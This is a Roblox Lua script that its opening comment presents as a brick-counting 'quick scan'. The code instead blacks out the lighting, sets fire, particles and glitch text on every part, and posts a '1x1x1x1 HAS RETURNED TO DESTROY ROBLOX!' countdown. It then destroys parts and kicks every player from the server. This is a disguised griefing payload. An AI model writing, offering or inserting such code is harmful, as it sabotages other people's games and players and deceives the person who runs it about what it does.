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- -- Quick scan:
- -- This will just give you a brick-count and print it to your output
- -- Go in Solo or Online mode to get a dynamic GUI counter
- local lighting = game:GetService("Lighting")
- lighting.Brightness = 0
- lighting.OutdoorAmbient = Color3.new(0,0,0)
- local sky = Instance.new("Sky", lighting)
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=48020371"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=48020144"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=48020234"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=48020211"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=48020254"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=48020383"
- local parts = {}
- function scan(p)
- for _,target in pairs(p:GetChildren()) do
- if (target:IsA("BasePart")) then
- table.insert(parts,target) -- target is the actual parts!
- target.BrickColor = BrickColor.new("Really black")
- local sb = Instance.new("SelectionBox", target)
- sb.Color3 = Color3.new(255, 0, 0)
- sb.SurfaceColor3 = Color3.new(170, 0, 0)
- sb.Adornee = target
- local pe = Instance.new("ParticleEmitter", target)
- pe.Name = "10101110010011"
- pe.Texture = "rbxassetid://45524735"
- pe.Rate = 10
- pe.SpreadAngle = Vector2.new(-90, 90)
- local pe2 = Instance.new("ParticleEmitter", target)
- pe2.Name = "ERROR_._ER-__ORO_...."
- pe2.Texture = "rbxassetid://158293315"
- pe2.Rate = 10
- pe2.SpreadAngle = Vector2.new(-90, 90)
- local bb = Instance.new("BillboardGui", target)
- bb.Size = UDim2.new(50,0 , 25,0)
- bb.AlwaysOnTop = true
- local randomtext = {
- "1x1x1x1 !S B4CK",
- "101010110100101011101111010101",
- "_-ERROR-_"
- }
- local label = Instance.new("TextLabel", bb)
- label.Size = UDim2.new(1,0 , 1,0)
- label.TextScaled = true
- label.TextWrapped = true
- label.BackgroundTransparency = 1
- local brickcolor = BrickColor.new("Really red")
- label.TextColor3 = brickcolor.Color
- label.Font = "ArialBold"
- label.TextSize = 100
- local chosentext = randomtext[math.random(1, #randomtext)]
- label.Text = chosentext
- local fire = Instance.new("Fire", target)
- fire.Size = 30
- fire.Heat = 25
- end
- scan(target)
- end
- end
- scan(game.Workspace)
- --print(#parts .. (#parts == 1 and " brick " or " bricks ") .. "counted")
- parts = {}
- wait(1)
- local m = Instance.new("Message", game.Workspace)
- m.Text = "1x1x1x1 HAS RETURNED TO DESTROY ROBLOX!"
- wait(3)
- m.Text = "STARTING COUNTDOWN..."
- wait(2)
- m.Text = "ONCE THE TIMER REACH 0, THIS SERVER WILL NO LONGER EXIST!"
- wait(5)
- local unit = 10
- wait(1)
- for i = 1, 10 do
- unit = unit - 1
- m.Text = "COUNTDOWN: " ..unit.. " SECONDS LEFT!"
- wait(1)
- end
- m.Text = "FAREWELL, IDIOTS! MUAHAHAHAHAHAHAHA!!!"
- local prey = nil
- local parts = script.Parent:GetChildren()
- for i = 1,#parts do
- if (parts[i].className == "Part") then
- if (prey ~= nil)then
- prey:Destroy()
- end
- prey = parts[i]
- end
- end
- for i, players in pairs(game.Players:GetChildren()) do
- players:Kick("010111010101000101011101010100010111101010010100010111101011010100101010101010101010101010101001010101011011010110100101010101010101011101")
- end
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